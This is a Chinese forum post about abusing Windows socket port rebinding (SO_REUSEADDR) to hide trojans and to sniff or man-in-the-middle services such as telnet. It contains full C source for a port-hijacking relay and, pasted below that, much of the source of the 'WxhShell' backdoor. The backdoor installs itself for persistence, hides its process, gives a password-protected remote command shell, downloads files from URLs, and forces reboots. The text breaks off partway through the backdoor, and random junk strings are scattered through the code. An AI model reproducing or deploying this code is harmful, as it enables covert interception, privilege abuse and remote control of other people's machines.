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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .r ,wc*SF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1SAO6Wh  
`O+}$wP  
  saddr.sin_family = AF_INET; ` nd/N#  
'80mhrEutG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :.DZ~I  
0tz7^:|D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ={'3j  
cn ~/P|B[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Nm{+!}cC  
0P_=Oy"l-  
  这意味着什么?意味着可以进行如下的攻击: /penB[ 1i  
NL^;C3u  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \wZ 4enm  
~,^pya  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #%9t-  
9%#u,I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Rb/|ae  
LZ=E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  NqlU?  
_xWX/1DY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %I^schE*  
ylGT9G19  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?^3Y+)}  
KPi_<LuK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 AU$<W"%R  
nyoLrTs{  
  #include =67ab_V  
  #include F ,;B  
  #include wiFA 3_\G  
  #include    "lV bla4b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <lkt'iT=Sz  
  int main() A!$;pwn0  
  { "cZ){w  
  WORD wVersionRequested; $x~U&a  
  DWORD ret; gB_gjn\  
  WSADATA wsaData; w,T-vf  
  BOOL val; WJlJD*3  
  SOCKADDR_IN saddr; 7_9^nDU  
  SOCKADDR_IN scaddr; r@t \a+  
  int err; 2tw3 =)  
  SOCKET s; 9]L4`.HM  
  SOCKET sc; \? n<UsI  
  int caddsize; u5.zckV  
  HANDLE mt; Leu6kPk  
  DWORD tid;   $RA+StF!]  
  wVersionRequested = MAKEWORD( 2, 2 ); SpO%nZ";g8  
  err = WSAStartup( wVersionRequested, &wsaData ); 01n7ua*XX  
  if ( err != 0 ) { Gh5 3 Pne  
  printf("error!WSAStartup failed!\n"); 1Y:JGon  
  return -1; x'v-]C(@  
  } r9Vt}]$aG  
  saddr.sin_family = AF_INET; g#iRkz%l)&  
   + Pc2`,pw|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,.HS )<B  
{_G_YL[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5(>ux@[qI:  
  saddr.sin_port = htons(23); cd&sAK"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @ N@ !Q  
  { V8O-|7H$ v  
  printf("error!socket failed!\n"); Eo`'6 3  
  return -1; BhUGMK  
  } 5yL\@7u`  
  val = TRUE; g [u*`]-;v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :bq$ {  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *L&|4|BF2  
  { r,<p#4(>_  
  printf("error!setsockopt failed!\n"); W5uC5C*,l  
  return -1; bXz*g`=;  
  } <CcSChCg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hRQw]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $ghlrV;:ct  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b:PzqMh{G  
}U^iVq*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Xf;_r+;  
  { mwMcAUD]2  
  ret=GetLastError(); jA? 7>"|  
  printf("error!bind failed!\n"); yR% l[/ X  
  return -1; d" =)=hm!  
  } )GfL?'Z  
  listen(s,2); nGM;|6x"8|  
  while(1) `i vE: 3k  
  { 1j]vJ4R_\  
  caddsize = sizeof(scaddr); v]'\]U^  
  //接受连接请求 uovSe4q5q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RGLJaEl !  
  if(sc!=INVALID_SOCKET) s$ kvLy<  
  { SN 4JX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); FMtg7+Q|>  
  if(mt==NULL) sk5B} -  
  { zWrynJ}s  
  printf("Thread Creat Failed!\n"); Mn 8| K nh  
  break; 9JqT"zj  
  } u f1s}/M  
  } x9o(q`N  
  CloseHandle(mt); t~|`RMn"  
  } ?@^gpVK{  
  closesocket(s); BS2'BS8  
  WSACleanup(); 6"9(ce KX  
  return 0; K}DrJ/s  
  }   ,:{+-v(  
  DWORD WINAPI ClientThread(LPVOID lpParam) mLV0J '  
  { _4 YT2k  
  SOCKET ss = (SOCKET)lpParam; Qoa&]]  
  SOCKET sc; /&E]qc*-p  
  unsigned char buf[4096]; 5 0dx[v8  
  SOCKADDR_IN saddr; pQ xv_4  
  long num; $T_>WUiK  
  DWORD val; +Mb}70^  
  DWORD ret; jItVAmC=i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;D<;pW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   VFK]{!C_  
  saddr.sin_family = AF_INET; Q yhu=_&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T5-Yqz  
  saddr.sin_port = htons(23); d/b\:[B@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `NQ;|!  
  { ,E8g~ZUY9  
  printf("error!socket failed!\n"); ey$H2zmo  
  return -1; HOrXxxp1^  
  } n0)y|B#  
  val = 100; y,6KU$G  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NOFH  
  { Q]]M;(  
  ret = GetLastError(); /GF"D5  
  return -1; %Q=rm!Syv  
  } ]l"9B'XR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SB:z[kfz|  
  { )K]<\Q[  
  ret = GetLastError(); od^o9(.W^  
  return -1; %"ehZ d0r  
  } {5 3#Xd  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vcZ"4%w  
  { Y=/;7T  
  printf("error!socket connect failed!\n"); I5]58Ohx  
  closesocket(sc); Qnx?5R-}ZU  
  closesocket(ss); xiVbVr#[  
  return -1; #+ {%>f  
  } KvjH\;78  
  while(1) \1eWI  
  { dFZh1*1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4 g8t  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8\+XtS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <.ZD.u  
  num = recv(ss,buf,4096,0); Z^.qX\<M  
  if(num>0) (rQ)0g@  
  send(sc,buf,num,0); `j'gt&  
  else if(num==0) id)J;!^;J  
  break; keJ-ohv)  
  num = recv(sc,buf,4096,0); eI@G B  
  if(num>0) P!!:p2fo  
  send(ss,buf,num,0); JHuA}f{2&  
  else if(num==0) aN';_tGvK  
  break; } : T }N]  
  } A{wk$`vH  
  closesocket(ss); >+%p }l:<\  
  closesocket(sc); WV;[vg]  
  return 0 ; sUZ2A1J}  
  } XUK%O8N#9  
XcKyrh;i  
G{.A5{  
========================================================== Hiih$O+  
$gdGII&n  
下边附上一个代码,,WXhSHELL 5N907XVu  
%1M!4**W  
========================================================== 7U - ?Rd  
3 =_to7]  
#include "stdafx.h" [bEm D  
0C717  
#include <stdio.h> n*hRlL  
#include <string.h> MNX-D0`g  
#include <windows.h> _:Ov-HIR  
#include <winsock2.h> 0Hr)h{!F"  
#include <winsvc.h> qX]ej 2  
#include <urlmon.h> 9$^v*!<z\  
KA."[dVa  
#pragma comment (lib, "Ws2_32.lib") %p};Di[V  
#pragma comment (lib, "urlmon.lib") T_qh_L3  
u73/#!(1=H  
#define MAX_USER   100 // 最大客户端连接数 V6b)  
#define BUF_SOCK   200 // sock buffer Yt;@ @xe&  
#define KEY_BUFF   255 // 输入 buffer mZ.E;X& ,*  
t`0(5v  
#define REBOOT     0   // 重启 ^ |>)H  
#define SHUTDOWN   1   // 关机 &.:yP3  
;{rl Y>  
#define DEF_PORT   5000 // 监听端口 &_Z8:5e  
=@k 3*#\  
#define REG_LEN     16   // 注册表键长度 6K5KkEp  
#define SVC_LEN     80   // NT服务名长度 _LLE~nUK"/  
yF1^/y!@  
// 从dll定义API |bmc6G[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _aOsFFB1KF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }J:WbIr0!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0.!Q 4bhD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8;P_KRaE  
SFa^$w  
// wxhshell配置信息 jqy?Od )  
struct WSCFG { 4\Cb4jq%/  
  int ws_port;         // 监听端口 G/8G`teAZ  
  char ws_passstr[REG_LEN]; // 口令 V__n9L /t  
  int ws_autoins;       // 安装标记, 1=yes 0=no wqp(E+&  
  char ws_regname[REG_LEN]; // 注册表键名 yGPi9j{QXq  
  char ws_svcname[REG_LEN]; // 服务名 +,}CuF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >V3pYRA   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4Jj O.H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qzu%Pp6If  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eC-nV)]I9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'p(I!]"uo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rVx?Yo1F'  
:aMp,DfM]P  
}; 0N3S@l#,\A  
N+NS\Y5  
// default Wxhshell configuration %i`YJ  
struct WSCFG wscfg={DEF_PORT, Dz&<6#L<  
    "xuhuanlingzhe", f%Bmx{Ttq  
    1, (?zZvW8  
    "Wxhshell", lb`2a3W/  
    "Wxhshell", y8\4TjS1  
            "WxhShell Service", V~qlg1h  
    "Wrsky Windows CmdShell Service", ZBfB4<M9xS  
    "Please Input Your Password: ", zXg/.z]  
  1, qbdv  
  "http://www.wrsky.com/wxhshell.exe", UkBr4{+aE  
  "Wxhshell.exe" x^ ]1m%  
    }; 7ip(-0  
?28aEX_w  
// 消息定义模块 4S#q06=Xe  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !P b39[f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?\Z-3l%M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y-CVyl  
char *msg_ws_ext="\n\rExit."; 9S[Tan|  
char *msg_ws_end="\n\rQuit."; 4U1"F 7'  
char *msg_ws_boot="\n\rReboot..."; {piZm12q?  
char *msg_ws_poff="\n\rShutdown..."; kzb1iBe 6m  
char *msg_ws_down="\n\rSave to "; b."1p7'  
We,~P\g  
char *msg_ws_err="\n\rErr!"; jR&AQ-H&  
char *msg_ws_ok="\n\rOK!"; gL;tyf1P  
r`(U3EgP  
char ExeFile[MAX_PATH]; sp$W=Wu7  
int nUser = 0; GPnSdGLC  
HANDLE handles[MAX_USER]; >P\/\xL=  
int OsIsNt; ZN?UkFnE  
,b8q$ R~\  
SERVICE_STATUS       serviceStatus; tvG/oe .1'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FqK2[]8  
+Udlt)H  
// 函数声明 /h'b,iYVV  
int Install(void); 4d0<uB&v'  
int Uninstall(void); >T<"fEBI  
int DownloadFile(char *sURL, SOCKET wsh); i&?do{YQ)  
int Boot(int flag); s*DDO67\W  
void HideProc(void); Zcn,_b7  
int GetOsVer(void); 675x/0}GO  
int Wxhshell(SOCKET wsl); x?|   
void TalkWithClient(void *cs); p#dpDjh  
int CmdShell(SOCKET sock);  ,M&[c|  
int StartFromService(void); +Ss|4O}'  
int StartWxhshell(LPSTR lpCmdLine); W:16qbK  
`Z0#IeX=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,HdFE|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <C_FI` wk  
W=EvEx^?%  
// 数据结构和表定义 AyMMr_q  
SERVICE_TABLE_ENTRY DispatchTable[] = hol54)7$3:  
{ ii@O&g  
{wscfg.ws_svcname, NTServiceMain}, DOm5azO!>  
{NULL, NULL} TBYRY)~f  
}; %%w]-`^h,  
3q.O^`y FU  
// 自我安装 L_YVe(dT  
int Install(void) (9J,Qs[;  
{ cEd!t6Z  
  char svExeFile[MAX_PATH]; ]='E&=nc  
  HKEY key; N5=; PZub  
  strcpy(svExeFile,ExeFile); -3<5,Q{G+  
=/rIXReY  
// 如果是win9x系统,修改注册表设为自启动 Y?z@)cL  
if(!OsIsNt) { +cVnF&@$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j5:{H4?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XK>/i}y  
  RegCloseKey(key); ivbuS-f =r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Whq@>pX8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ymBevL  
  RegCloseKey(key); ` `A=p<W  
  return 0; V4OhdcW{  
    } /*bS~7f1  
  } [EJ[Gg0m  
} Kj_hCSvf3e  
else { _azg 0.)  
/0mbG!Ac  
// 如果是NT以上系统,安装为系统服务 +BRmqJ3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HX{O@  
if (schSCManager!=0) PQRh5km  
{ YGObTIGJvf  
  SC_HANDLE schService = CreateService V(Ps6jR"BS  
  ( rQbL86+  
  schSCManager, *Ki ],>_~  
  wscfg.ws_svcname, N}>XBZy  
  wscfg.ws_svcdisp, mlY0G w_e  
  SERVICE_ALL_ACCESS, J..>ApX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1TKOvy_  
  SERVICE_AUTO_START, vb}; _/ #?  
  SERVICE_ERROR_NORMAL, sSi1;9^o  
  svExeFile, MX?K3=j @>  
  NULL, ]iuM2]  
  NULL, x aWmwsym  
  NULL, g`!:7|&,_  
  NULL, {@9y%lmrh  
  NULL DLkNL?a  
  ); $@t-Oor;  
  if (schService!=0) 31y=Ar""  
  { lu(<(t,Lbs  
  CloseServiceHandle(schService); V,($I'&/  
  CloseServiceHandle(schSCManager); +xwz.:::  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p IXBJk  
  strcat(svExeFile,wscfg.ws_svcname); 5yO6szg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6v0^'}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OZ1+`4 v  
  RegCloseKey(key); O edL?4  
  return 0; s!09Pxc  
    } pAYH"Q6~)I  
  } 0sRby!  
  CloseServiceHandle(schSCManager); 4?X#d)L(  
} $L.0$-je4  
} ZN|DR|c UY  
qbkvwL9  
return 1; |*7uF<ink6  
} a8-2:8Su  
t#~r'5va  
// 自我卸载 !Ljs9 =UF  
int Uninstall(void) #:Di1I9<O7  
{ |$":7)e H!  
  HKEY key; 0 iW]#O/  
&eT)c<yhyK  
if(!OsIsNt) { jpqq>Hbg_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I;L $Nf{v  
  RegDeleteValue(key,wscfg.ws_regname); bh?Vufd%)  
  RegCloseKey(key); EW$ Je  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =8j;!7 p  
  RegDeleteValue(key,wscfg.ws_regname); pc5-'; n  
  RegCloseKey(key); SHPaSq'&N  
  return 0; Rs:<'A  
  } ~!'%m(g  
} #H(|+WEu  
} (j+C&*u  
else { 7ju7QyR  
2s;/*<WM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BUv;BzyV  
if (schSCManager!=0) ~ -Rr[O=E  
{ >/EmC3?b!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _h7+.U=  
  if (schService!=0) *"0Yr`)S  
  { ,qpn4`zE~  
  if(DeleteService(schService)!=0) { m~#S76!w  
  CloseServiceHandle(schService); Nm#VA.~  
  CloseServiceHandle(schSCManager); $g _h9L  
  return 0; A L}c-#GG  
  } ` &|Rs  
  CloseServiceHandle(schService); z?h\7 R  
  } x$AF0xFO  
  CloseServiceHandle(schSCManager); qJFBdJU(1  
} "tUXYY  
} 1^R@X  
tsU.c"^n  
return 1; //:.k#}~B  
} 1&Rz'JQ+  
Oe^3YOR#j{  
// 从指定url下载文件 Vy{=Y(cpF2  
int DownloadFile(char *sURL, SOCKET wsh) `ItMn&P  
{ U}6'_ PRQ  
  HRESULT hr; {Zjnf6d]  
char seps[]= "/"; |v}"UW(y  
char *token; ,m!j2H}8  
char *file; R* E/E  
char myURL[MAX_PATH]; }?#<)|_5  
char myFILE[MAX_PATH]; \rcbt6H  
6J6MR<5'  
strcpy(myURL,sURL); {LY$  
  token=strtok(myURL,seps); :HRJ49a  
  while(token!=NULL) XY1NTo. =  
  { <[?oP[ j  
    file=token; 9C$b^wHd  
  token=strtok(NULL,seps); 8=T;R&U^M  
  } T%KZV/  
%]>c4"H  
GetCurrentDirectory(MAX_PATH,myFILE); WhSQ>h!@s  
strcat(myFILE, "\\"); 0X`Qt[  
strcat(myFILE, file); s9~W( Wi  
  send(wsh,myFILE,strlen(myFILE),0); P`5@$1CJ  
send(wsh,"...",3,0); \)DP(wC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f$iv+7<B^  
  if(hr==S_OK) FsY}mql  
return 0; 6/T hbD-C  
else 4/S 4bk*8  
return 1; 7h<Q{X<A  
6~0S%Hz   
} 2JYyvJ>  
/Bid:@R  
// 系统电源模块 NUEy0pLw  
int Boot(int flag) OTL=(k  
{ {~k /xM.-  
  HANDLE hToken; ~LuZ pV  
  TOKEN_PRIVILEGES tkp; N/TU cG|m\  
rv&(yA  
  if(OsIsNt) { S$+vRX7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bra>C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  <G{m=  
    tkp.PrivilegeCount = 1; yd`xmc)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h5U@Ys  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qWHH% L;  
if(flag==REBOOT) { /0d_{Y+9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vO%n~l=  
  return 0; p8oOm>B96n  
} R(kr@hM  
else { _,=A\C_b@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @~U: |h  
  return 0; 0V"r$7(}  
} >1,.4)k%K  
  } )(9>r /bq  
  else { ?&_ -,\t  
if(flag==REBOOT) { CK 3]]{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E08FUAth]#  
  return 0; [95(%&k.Q  
} 1<fS&)^W  
else { =;7gxV3;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +b.<bb6  
  return 0; (LA%q6  
} m(s(2wq"f  
} G`8gI)$u  
36*"oD=@  
return 1; 8t!(!<iF0  
} dd@^e)VZB  
93XTumpV  
// win9x进程隐藏模块 &v Lz{  
void HideProc(void) f/~"_O%  
{ F.HD;C-;(  
V'#dY~E-P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xpx Un8.  
  if ( hKernel != NULL ) <M B]W`5  
  { j5|_SQOmt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LUl6^JU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :@rE&  
    FreeLibrary(hKernel); XpdDIKMmE  
  } #25Z,UU  
}7RR",w  
return; ^G[xQcM73  
} -X'HZ\)  
-ZlBg~E  
// 获取操作系统版本 zIi|z}WJ  
int GetOsVer(void) TUIj-HSe  
{ &W-L`aFd0  
  OSVERSIONINFO winfo; wOOBW0tj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jA$g0>  
  GetVersionEx(&winfo); s:7^R-"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,a eQXI#@  
  return 1; 8;ke,x  
  else b4Br!PL@G  
  return 0; 5B#q/d1/a  
} .X\p;~H 5  
`utv@9 _z  
// 客户端句柄模块 mp!KPw08':  
int Wxhshell(SOCKET wsl) <{bQl L  
{ gS_)(  
  SOCKET wsh; vp? 87h  
  struct sockaddr_in client; t 9&xk?%{  
  DWORD myID; ((Ak/qz  
;&q}G1  
  while(nUser<MAX_USER) I@+h| n  
{ svCD&~|K#  
  int nSize=sizeof(client); 9h> nP8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XAW$"^p  
  if(wsh==INVALID_SOCKET) return 1; >G$8\&]j  
E0!}~Z)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vH%AXz IA  
if(handles[nUser]==0) <vJPKQ`=:  
  closesocket(wsh); K*&M:u6E  
else Py$Q]s?\1  
  nUser++; eqU2>bI f  
  } VR ^qwS/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f.JZ[+  
mE'y$5ZxY  
  return 0; ye:pGa w  
} /x,gdZPX  
rZ2X$FO@  
// 关闭 socket b6:A-jb*I  
void CloseIt(SOCKET wsh) PElC0 qCn[  
{ <cNXe4(  
closesocket(wsh); WSi`)@.X O  
nUser--; NUbw]Y90~  
ExitThread(0); u~[HC)4(0  
} fuSfBtLPR#  
^e:C{]S=  
// 客户端请求句柄 +%Q:  
void TalkWithClient(void *cs) t ~ruP',~\  
{ $}V<U m  
zI$^yk-vn  
  SOCKET wsh=(SOCKET)cs; &E0L7?l  
  char pwd[SVC_LEN]; l9KL P  
  char cmd[KEY_BUFF]; }IO<Dq=[  
char chr[1]; Se<]g$eK?5  
int i,j; jWJq[l  
5LdVcXf  
  while (nUser < MAX_USER) { :,g nOfV=  
m^0r9y,  
if(wscfg.ws_passstr) { w`=_|4wFw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hy ^E m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;*1bTdB5a  
  //ZeroMemory(pwd,KEY_BUFF); uPKq<hBI  
      i=0; <_$]!Z6UR  
  while(i<SVC_LEN) { ?j;e/r.  
(MhC83|?  
  // 设置超时 &IsQgS7R  
  fd_set FdRead; K]ob>wPf  
  struct timeval TimeOut; nw swy]e8/  
  FD_ZERO(&FdRead); +^ a9i5  
  FD_SET(wsh,&FdRead); bP\0S@1YL  
  TimeOut.tv_sec=8; :f%FM&b  
  TimeOut.tv_usec=0; %E#OUo[y/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #<0Yx9Jh.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,Tc3koi  
e8g"QDc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lh3>xZy"-z  
  pwd=chr[0]; E .^5N~.  
  if(chr[0]==0xd || chr[0]==0xa) { f2Zi.?``H  
  pwd=0; CT,caa  
  break; DP\s-JpI[  
  } ' QGacV   
  i++; B?A c  
    } @Gp=9\L  
?PVJeFH  
  // 如果是非法用户,关闭 socket g?N~mca$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  N1,=5P$  
} bHVAa#  
(uW/t1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )*#Pp )Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H,,-;tN?  
u$ [R>l9  
while(1) { +13h *  
MJNY#v3  
  ZeroMemory(cmd,KEY_BUFF); d]1%/$v^  
:K.%^ag=j  
      // 自动支持客户端 telnet标准    R}Pw#*B  
  j=0; io :g ]g  
  while(j<KEY_BUFF) { X8~dFjhX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *uHL'Pe;m  
  cmd[j]=chr[0]; uo0g51%9  
  if(chr[0]==0xa || chr[0]==0xd) { =OfU#i"c  
  cmd[j]=0; -YM#.lQ  
  break; )Y%>t  
  } 5tPBTS<<"L  
  j++; K$OxeJP?F  
    } -c-af%xD  
.K`OEdr<  
  // 下载文件 hY 2nT  
  if(strstr(cmd,"http://")) { [-o`^;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gr9/@U+  
  if(DownloadFile(cmd,wsh)) vSty.:bY\p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X"WKgC g$  
  else }L Q9db1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /2}o:vLj  
  } Q#C;4)e  
  else { _y#omEx  
#qkokV6`  
    switch(cmd[0]) { nk.Y#+1)  
  [Du@go1C  
  // 帮助 1d/-SxhZ  
  case '?': { AA][}lU:5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z_qy >  
    break; .5Y%I;~v  
  } EvZ;i^.8LS  
  // 安装 *hVbjI$  
  case 'i': { GC?X>AC:  
    if(Install()) |GuIp8~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RmS|X"zc  
    else Z(Da?6#1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x._IP,vRx^  
    break; sYV7t*l  
    } C${{&$&  
  // 卸载 DxjD/? R8  
  case 'r': { csn/h$`-@  
    if(Uninstall()) k=w;jX&;`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mk>L:+  
    else -H1mKZDPP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2p\CCzw  
    break; ~wnTl[:  
    } &gJKJ=7  
  // 显示 wxhshell 所在路径 }~P%S(zB  
  case 'p': { fDc>E+,  
    char svExeFile[MAX_PATH]; [8*Ovd  
    strcpy(svExeFile,"\n\r"); cBf9-k  
      strcat(svExeFile,ExeFile);  w0QN5?  
        send(wsh,svExeFile,strlen(svExeFile),0); e&[gde(  
    break; qW]gp7jK4  
    } ;\`~M  
  // 重启 x_9<&Aj6  
  case 'b': { *8}Y0V\s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =4GJYhj  
    if(Boot(REBOOT)) `|K,E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b?Wg|D  
    else { K/RQ-xd4  
    closesocket(wsh); H5t 9Mg|  
    ExitThread(0); J6x\_]1:*  
    } 216+ tX5Z  
    break; 8r[ZGUV  
